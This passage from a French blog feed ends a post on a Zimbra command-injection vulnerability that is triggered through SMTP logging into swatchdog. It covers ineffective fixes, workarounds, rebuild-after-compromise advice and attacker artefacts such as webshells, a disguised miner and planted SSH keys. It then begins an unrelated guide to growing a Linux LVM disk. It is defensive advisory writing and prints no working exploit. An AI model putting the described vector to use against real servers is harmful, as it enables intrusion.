<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'notifications{snmp}'</span><span class="token plain"> /opt/zimbra/data/tmp/.swatchdog_script.*</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># attendu : $notifications{snmp}="0";</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="faux-remède-n2--purger-zimbra-snmp">Faux remède n°2 : purger <code>zimbra-snmp</code><a href="https://docs.bastienbonora.fr/blog/CVE-2026-73570-Zimbra-injection-commande#faux-rem%C3%A8de-n2--purger-zimbra-snmp" class="hash-link" aria-label="Lien direct vers faux-remède-n2--purger-zimbra-snmp" title="Lien direct vers faux-remède-n2--purger-zimbra-snmp" translate="no">​</a></h3>
<p>Le nom de la CVE te dit « SNMP », donc tu retires le paquet SNMP. Sauf que <code>dpkg -L zimbra-snmp</code> ne contient que des MIB et des fichiers de configuration : <strong>zéro exécutable</strong>. Le code vulnérable vit ailleurs.</p>
<table><thead><tr><th>Fichier</th><th>Paquet propriétaire</th></tr></thead><tbody><tr><td><code>/opt/zimbra/common/bin/swatchdog</code></td><td><code>zimbra-perl-swatchdog</code></td></tr><tr><td><code>/opt/zimbra/common/bin/snmptrap</code></td><td><code>zimbra-net-snmp</code></td></tr><tr><td><code>/opt/zimbra/conf/swatchrc</code></td><td><strong>aucun</strong> — régénéré à chaque démarrage de <code>logger</code></td></tr><tr><td><code>zimbra-snmp</code></td><td>MIB + fichiers de conf uniquement, aucun code exécutable</td></tr></tbody></table>
<p>Purger <code>zimbra-snmp</code> retire de la documentation. La chaîne vulnérable reste intègre.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="faux-remède-n3--purger-zimbra-perl-swatchdog">Faux remède n°3 : purger <code>zimbra-perl-swatchdog</code><a href="https://docs.bastienbonora.fr/blog/CVE-2026-73570-Zimbra-injection-commande#faux-rem%C3%A8de-n3--purger-zimbra-perl-swatchdog" class="hash-link" aria-label="Lien direct vers faux-remède-n3--purger-zimbra-perl-swatchdog" title="Lien direct vers faux-remède-n3--purger-zimbra-perl-swatchdog" translate="no">​</a></h3>
<p>OK, donc on purge le bon paquet. Sauf que :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">zimbra-perl-swatchdog → zimbra-perl → zimbra-core → ...</span><br></div></code></pre></div></div>
<p>Une simulation <code>apt-get -s purge zimbra-perl-swatchdog</code> annonce la suppression de <strong>30 paquets</strong>, dont <code>zimbra-core</code>, <code>zimbra-store</code>, <code>zimbra-mta</code> et <code>zimbra-ldap</code>. C'est-à-dire l'installation Zimbra complète. Tu corriges la faille en désinstallant Zimbra. C'est radical, mais pas exactement ce qu'on appelle une mitigation.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="ce-qui-ferme-réellement-le-vecteur">Ce qui ferme réellement le vecteur<a href="https://docs.bastienbonora.fr/blog/CVE-2026-73570-Zimbra-injection-commande#ce-qui-ferme-r%C3%A9ellement-le-vecteur" class="hash-link" aria-label="Lien direct vers Ce qui ferme réellement le vecteur" title="Lien direct vers Ce qui ferme réellement le vecteur" translate="no">​</a></h2>
<p>Par ordre de robustesse, sur une 8.8.15 sans correctif :</p>
<table><thead><tr><th>Levier</th><th>Effet</th><th>Tenue</th></tr></thead><tbody><tr><td><code>logger</code> désactivé</td><td><code>swatchdog</code> ne tourne pas</td><td>totale tant que le service reste arrêté</td></tr><tr><td><code>snmp_notify=0</code></td><td><code>dosnmp</code> jamais appelée</td><td>dépend de la régénération du script</td></tr><tr><td>neutraliser le binaire</td><td>le démon ne peut plus démarrer</td><td>totale, réversible</td></tr></tbody></table>
<p><strong>La correction propre, si tu es sur 10.x :</strong></p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">su</span><span class="token plain"> - zimbra </span><span class="token parameter variable" style="color:#36acaa">-c</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'zmcontrol -v'</span><span class="token plain">   </span><span class="token comment" style="color:#999988;font-style:italic"># vérifie ta version</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Si &lt; 10.1.20 : mettre à jour</span><br></div></code></pre></div></div>
<p><strong>Le contournement sur 8.8.15 (branche sans correctif) :</strong></p>
<p>Désactiver le service <code>logger</code> pour que <code>swatchdog</code> ne démarre plus :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># Retirer logger des services activés</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">su</span><span class="token plain"> - zimbra </span><span class="token parameter variable" style="color:#36acaa">-c</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'zmprov -l ms $(zmhostname) -zimbraServiceEnabled logger'</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Arrêter le service immédiatement</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">su</span><span class="token plain"> - zimbra </span><span class="token parameter variable" style="color:#36acaa">-c</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'zmloggerctl stop'</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Vérifier que swatchdog ne tourne plus</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">pgrep </span><span class="token parameter variable" style="color:#36acaa">-af</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'zmswatch|swatchdog'</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Ne doit rien renvoyer, ou uniquement le swatchdog du logger (logswatchrc)</span><br></div></code></pre></div></div>
<p>En ceinture et bretelles, neutraliser le binaire (réversible, au cas où <code>zmconfigd</code> le relance) :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">mv</span><span class="token plain"> /opt/zimbra/common/bin/swatchdog /opt/zimbra/common/bin/swatchdog.disabled</span><br></div></code></pre></div></div>
<p>Et au niveau réseau, si le serveur n'a pas besoin de recevoir du mail directement depuis Internet (il est derrière un relais/proxy mail), bloquer 25/465/587 au pare-feu empêche l'attaquant d'atteindre le vecteur d'entrée.</p>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>Désactiver <code>logger</code> a des conséquences : plus de statistiques de volume, plus de graphes dans la console d'administration, plus de monitoring d'état des services. Sur une 8.8.15 en fin de vie, la vraie réponse reste la migration vers 10.1.20+ — ou vers une autre solution.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="patcher-ne-suffit-pas--assume-compromise">Patcher ne suffit pas : assume compromise<a href="https://docs.bastienbonora.fr/blog/CVE-2026-73570-Zimbra-injection-commande#patcher-ne-suffit-pas--assume-compromise" class="hash-link" aria-label="Lien direct vers Patcher ne suffit pas : assume compromise" title="Lien direct vers Patcher ne suffit pas : assume compromise" translate="no">​</a></h2>
<p>Si ton serveur était exposé et vulnérable, le correctif ferme la porte d'entrée. Il ne vérifie pas qui est déjà à l'intérieur.</p>
<p>Visiblement, les attaques se concentrent sur :</p>
<ul>
<li class="">Des <strong>webshells JSP</strong> dans le webroot Jetty (<code>dynamic.jsp</code>), accessibles en HTTP</li>
<li class="">Un <strong>cryptominer XMRig</strong> tournant, déguisé en <code>/bin/idle</code></li>
<li class="">Des <strong>clés SSH</strong> dans <code>authorized_keys</code> pour un accès persistant</li>
<li class="">Une <strong>escalade root</strong> via sudo, avec des commandes exécutées en tant que root</li>
</ul>
<p>L'attaquant qui a eu du code sous <code>zimbra</code> a eu accès aux credentials LDAP, aux clés de chiffrement, aux mailboxes. Patcher empêche la ré-entrée par la porte CVE-2026-73570, pas par celles qu'il a percées derrière.</p>
<p>La réponse honnête quand une instance vulnérable était exposée : <strong>reconstruction</strong> depuis une installation neuve + rotation de tous les secrets, pas nettoyage. Un serveur que tu nettoies, c'est un serveur où tu espères avoir tout trouvé. Un serveur que tu reconstruis, c'est un serveur dont tu sais qu'il est propre.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="en-résumé">En résumé<a href="https://docs.bastienbonora.fr/blog/CVE-2026-73570-Zimbra-injection-commande#en-r%C3%A9sum%C3%A9" class="hash-link" aria-label="Lien direct vers En résumé" title="Lien direct vers En résumé" translate="no">​</a></h2>
<p>La faille est élégante dans sa simplicité : pas besoin de compte, pas besoin que le mail soit accepté, juste besoin que Postfix écrive une ligne dans un log et que <code>swatchdog</code> la lise. Le seul échappement prévu protège la mauvaise variable. Le nom de la CVE pointe vers le mauvais service. Les trois remèdes les plus intuitifs ne marchent pas ou détruisent l'installation.</p>
<p>Les points à retenir :</p>
<ul>
<li class="">Le vecteur d'entrée est le port SMTP (25/465/587), mais le composant vulnérable est <code>swatchdog</code>, qui appartient au service <code>logger</code>, pas <code>snmp</code>.</li>
<li class="">Le rejet SMTP ne protège pas : la journalisation suffit.</li>
<li class=""><code>snmp_notify=no</code> ne protège pas : en Perl, <code>"no"</code> est vrai. Il faut <code>0</code>.</li>
<li class="">Purger <code>zimbra-snmp</code> ne fait rien, purger <code>zimbra-perl-swatchdog</code> désinstalle Zimbra.</li>
<li class="">La correction : mise à jour vers 10.1.20. Sur 8.8.15 : désactiver <code>logger</code>, neutraliser le binaire, et filtrer les ports SMTP au pare-feu.</li>
<li class="">Si le serveur était exposé : assume compromise, reconstruis.</li>
</ul>
<p>Sources : <a href="https://wiki.zimbra.com/wiki/Security_Center" target="_blank" rel="noopener noreferrer" class="">bulletin Zimbra</a>, <a href="https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite/" target="_blank" rel="noopener noreferrer" class="">CERT Polska</a>, <a href="https://github.com/advisories/GHSA-jqh7-pchh-v74j" target="_blank" rel="noopener noreferrer" class="">GHSA-jqh7-pchh-v74j</a>.</p>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="securite" term="securite"/>
        <category label="informatique" term="informatique"/>
        <category label="Système" term="Système"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Augmentater la taille d'un disque Linux avec LVM]]></title>
        <id>https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm</id>
        <link href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm"/>
        <updated>2026-08-03T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Document de référence rédigé à partir d'un cas réel : VM Ubuntu Server sur Proxmox,]]></summary>
        <content type="html"><![CDATA[<blockquote>
<p>Document de référence rédigé à partir d'un cas réel : VM Ubuntu Server sur Proxmox,
disque SCSI <code>/dev/sda</code> en GPT, racine sur LVM, agrandissement de 62 → 82 GiB.</p>
</blockquote>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="1-le-principe-fondamental--cinq-couches-cinq-tailles">1. Le principe fondamental : cinq couches, cinq tailles<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#1-le-principe-fondamental--cinq-couches-cinq-tailles" class="hash-link" aria-label="Lien direct vers 1. Le principe fondamental : cinq couches, cinq tailles" title="Lien direct vers 1. Le principe fondamental : cinq couches, cinq tailles" translate="no">​</a></h2>
<p>Le point de blocage que rencontrent 90 % des administrateurs vient d'une idée fausse : croire qu'agrandir le disque côté hyperviseur « remonte » automatiquement jusqu'au système de fichiers.</p>
<p>En réalité, <strong>chaque couche stocke sa propre taille, à un endroit physique différent du disque</strong>. Aucune ne l'interroge dynamiquement auprès de la couche du dessous.</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">┌─────────────────────────────────────────────────────────────────┐</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">│ 1. Disque virtuel (Proxmox / QEMU)                              │</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">│    Taille définie par l'hyperviseur → vue par le noyau invité   │</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">├─────────────────────────────────────────────────────────────────┤</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">│ 2. Table de partitions GPT                                      │</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">│    start/end en secteurs, écrits en LBA 1..33 et en fin de disque│</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">├─────────────────────────────────────────────────────────────────┤</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">│ 3. Physical Volume (PV) LVM                                     │</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">│    Nombre d'extents, écrit dans les métadonnées en tête du PV   │</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">├─────────────────────────────────────────────────────────────────┤</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">│ 4. Volume Group (VG) → Logical Volume (LV)                      │</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">│    Nombre de PE alloués au LV, dans les mêmes métadonnées       │</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">├─────────────────────────────────────────────────────────────────┤</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">│ 5. Système de fichiers (ext4 / XFS)                             │</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">│    Nombre de blocs, écrit dans le superbloc                     │</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">└─────────────────────────────────────────────────────────────────┘</span><br></div></code></pre></div></div>
<p><strong>Corollaire pratique :</strong> une extension se propage <em>de bas en haut</em>, une couche à la fois, avec une commande dédiée par couche. Sauter une étape ne provoque pas d'erreur — la commande suivante annonce simplement qu'il n'y a rien à faire.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="tableau-de-correspondance">Tableau de correspondance<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#tableau-de-correspondance" class="hash-link" aria-label="Lien direct vers Tableau de correspondance" title="Lien direct vers Tableau de correspondance" translate="no">​</a></h3>
<table><thead><tr><th>Couche</th><th>Où vit la taille</th><th>Commande de lecture</th><th>Commande d'extension</th></tr></thead><tbody><tr><td>Disque</td><td>Config hyperviseur</td><td><code>lsblk</code>, <code>/sys/block/sda/size</code></td><td>Proxmox + rescan noyau</td></tr><tr><td>Partition</td><td>Table GPT/MBR</td><td><code>parted print</code>, <code>sfdisk -d</code></td><td><code>growpart</code></td></tr><tr><td>PV</td><td>Métadonnées LVM</td><td><code>pvs</code>, <code>pvdisplay</code></td><td><code>pvresize</code></td></tr><tr><td>LV</td><td>Métadonnées LVM</td><td><code>lvs</code>, <code>vgs</code></td><td><code>lvextend</code></td></tr><tr><td>FS</td><td>Superbloc</td><td><code>df -h</code>, <code>dumpe2fs -h</code></td><td><code>resize2fs</code> / <code>xfs_growfs</code></td></tr></tbody></table>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="2-couche-1--de-lhyperviseur-au-noyau">2. Couche 1 — De l'hyperviseur au noyau<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#2-couche-1--de-lhyperviseur-au-noyau" class="hash-link" aria-label="Lien direct vers 2. Couche 1 — De l'hyperviseur au noyau" title="Lien direct vers 2. Couche 1 — De l'hyperviseur au noyau" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="ce-qui-se-passe">Ce qui se passe<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#ce-qui-se-passe" class="hash-link" aria-label="Lien direct vers Ce qui se passe" title="Lien direct vers Ce qui se passe" translate="no">​</a></h3>
<p>Après un <code>qm resize</code> (ou un clic dans l'interface Proxmox), le périphérique bloc exposé à la VM change de capacité. Le noyau invité doit être notifié pour mettre à jour son propre champ de capacité, visible dans <code>/sys/block/&lt;dev&gt;/size</code> (exprimé <strong>en secteurs de 512 octets</strong>, toujours, quelle que soit la taille de secteur physique).</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="selon-le-type-de-contrôleur">Selon le type de contrôleur<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#selon-le-type-de-contr%C3%B4leur" class="hash-link" aria-label="Lien direct vers Selon le type de contrôleur" title="Lien direct vers Selon le type de contrôleur" translate="no">​</a></h3>
<table><thead><tr><th>Contrôleur</th><th>Nom du device</th><th>Détection</th></tr></thead><tbody><tr><td>VirtIO SCSI / LSI / SATA émulé</td><td><code>/dev/sda</code></td><td>Nécessite souvent un rescan explicite</td></tr><tr><td>VirtIO Block</td><td><code>/dev/vda</code></td><td>Automatique (interruption de changement de config)</td></tr></tbody></table>
<p>Forcer un rescan sur un device SCSI :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token builtin class-name">echo</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> /sys/class/block/sda/device/rescan</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># équivalent, via l'adresse H:C:T:L :</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token builtin class-name">echo</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"> /sys/class/scsi_device/0:0:0:0/device/rescan</span><br></div></code></pre></div></div>
<p>Cette écriture dans sysfs déclenche une commande SCSI <code>READ CAPACITY</code> vers le périphérique. Le noyau met à jour sa capacité et journalise l'événement :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">dmesg</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">tail</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-5</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># [ 1234.5 ] sd 0:0:0:0: [sda] 171966464 512-byte logical blocks: (88.0 GB/82.0 GiB)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># [ 1234.5 ] sda: detected capacity change from 66571993088 to 88046829568</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="vérification">Vérification<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#v%C3%A9rification" class="hash-link" aria-label="Lien direct vers Vérification" title="Lien direct vers Vérification" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">lsblk </span><span class="token parameter variable" style="color:#36acaa">-o</span><span class="token plain"> NAME,SIZE,TYPE            </span><span class="token comment" style="color:#999988;font-style:italic"># unités binaires (G = GiB)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">lsblk </span><span class="token parameter variable" style="color:#36acaa">-b</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-o</span><span class="token plain"> NAME,SIZE              </span><span class="token comment" style="color:#999988;font-style:italic"># octets bruts</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">cat</span><span class="token plain"> /sys/block/sda/size            </span><span class="token comment" style="color:#999988;font-style:italic"># secteurs de 512 o</span><br></div></code></pre></div></div>
<blockquote>
<p><strong>Piège des unités.</strong> <code>lsblk</code> affiche en base 2 (<code>82G</code> = 82 GiB = 88,0 Go), Proxmox et les constructeurs en base 10. Un disque « 80 Go » n'affichera pas <code>80G</code> sous <code>lsblk</code>. Vérifier en octets (<code>lsblk -b</code>) lève toute ambiguïté.</p>
</blockquote>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="3-couche-2--la-table-de-partitions">3. Couche 2 — La table de partitions<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#3-couche-2--la-table-de-partitions" class="hash-link" aria-label="Lien direct vers 3. Couche 2 — La table de partitions" title="Lien direct vers 3. Couche 2 — La table de partitions" translate="no">​</a></h2>
<p>C'est <strong>la couche où se concentrent tous les vrais pièges</strong>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="anatomie-dun-disque-gpt">Anatomie d'un disque GPT<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#anatomie-dun-disque-gpt" class="hash-link" aria-label="Lien direct vers Anatomie d'un disque GPT" title="Lien direct vers Anatomie d'un disque GPT" translate="no">​</a></h3>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">LBA 0        │ Protective MBR (compatibilité, empêche les vieux outils d'écraser)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">LBA 1        │ En-tête GPT primaire (signature, taille disque, first/last usable LBA, CRC)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">LBA 2..33    │ Table des partitions (128 entrées × 128 o = 16 KiB = 32 secteurs)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">   ...       │ ← zone de données : les partitions</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">LBA n-33..n-1│ Copie de la table des partitions</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">LBA n        │ En-tête GPT de secours</span><br></div></code></pre></div></div>
<p>Retenir : <strong>33 secteurs sont réservés à la toute fin du disque</strong>. C'est la source du problème principal.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-piège-n1--len-tête-gpt-de-secours">Le piège n°1 : l'en-tête GPT de secours<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#le-pi%C3%A8ge-n1--len-t%C3%AAte-gpt-de-secours" class="hash-link" aria-label="Lien direct vers Le piège n°1 : l'en-tête GPT de secours" title="Lien direct vers Le piège n°1 : l'en-tête GPT de secours" translate="no">​</a></h3>
<p>Quand l'hyperviseur agrandit le disque, l'en-tête de secours reste physiquement là où il était — donc <strong>au milieu</strong> du nouveau disque, plus à la fin. Pire, le champ <code>last usable LBA</code> de l'en-tête primaire pointe toujours sur l'ancienne limite.</p>
<p>Conséquence : le noyau <strong>refuse</strong> d'étendre une partition au-delà de cette ancienne limite, avec un message du type :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">The last usable GPT sector is 130023390, but 171966430 is requested.</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Failed to add partition: Invalid argument</span><br></div></code></pre></div></div>
<p>C'est exactement ce que signale <code>parted</code> :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Warning: Not all of the space available to /dev/sda appears to be used,</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">you can fix the GPT to use all of the space (an extra 41943040 blocks)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">or continue with the current setting?</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Fix/Ignore?</span><br></div></code></pre></div></div>
<p>Corriger revient à réécrire l'en-tête primaire (nouveau <code>last usable LBA</code>) <strong>et</strong> recopier l'en-tête de secours à la vraie fin du disque. En manuel : <code>sgdisk -e /dev/sda</code>. Mais <code>growpart</code> le fait tout seul — inutile de répondre à ce prompt.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-piège-n2--la-partition-doit-être-la-dernière">Le piège n°2 : la partition doit être la dernière<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#le-pi%C3%A8ge-n2--la-partition-doit-%C3%AAtre-la-derni%C3%A8re" class="hash-link" aria-label="Lien direct vers Le piège n°2 : la partition doit être la dernière" title="Lien direct vers Le piège n°2 : la partition doit être la dernière" translate="no">​</a></h3>
<p>Une partition ne peut être étendue que dans l'espace libre <strong>immédiatement contigu à sa droite</strong>. On ne déplace pas une partition sans copier les données.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">parted</span><span class="token plain"> /dev/sda unit s print </span><span class="token function" style="color:#d73a49">free</span><br></div></code></pre></div></div>
<p>Chercher une ligne <code>Free Space</code> située <strong>après</strong> la partition à étendre. S'il existe une partition (swap, données) après elle, il faut soit la supprimer et la recréer plus loin (à froid, live CD), soit renoncer et <strong>ajouter un second disque</strong> (voir §8).</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-piège-n3--préserver-type-et-uuid">Le piège n°3 : préserver type et UUID<a href="https://docs.bastienbonora.fr/blog/augmentation-taille-disque-linux-lvm#le-pi%C3%A8ge-n3--pr%C3%A9server-type-et-uuid" class="hash-link" aria-label="Lien direct vers Le piège n°3 : préserver type et UUID" title="Lien direct vers Le piège n°3 : préserver type et UUID" translate="no">​</a></h3>
<p>Une extension mal faite (<code>fdisk</code> : delete + recreate à la main) peut :</p>
<ul>
<li class="">changer le secteur de départ → <strong>perte totale des données</strong> ;</li>
<li class="">perdre le type de partition → GRUB ou LVM ne retrouvent plus leur bien ;</li>
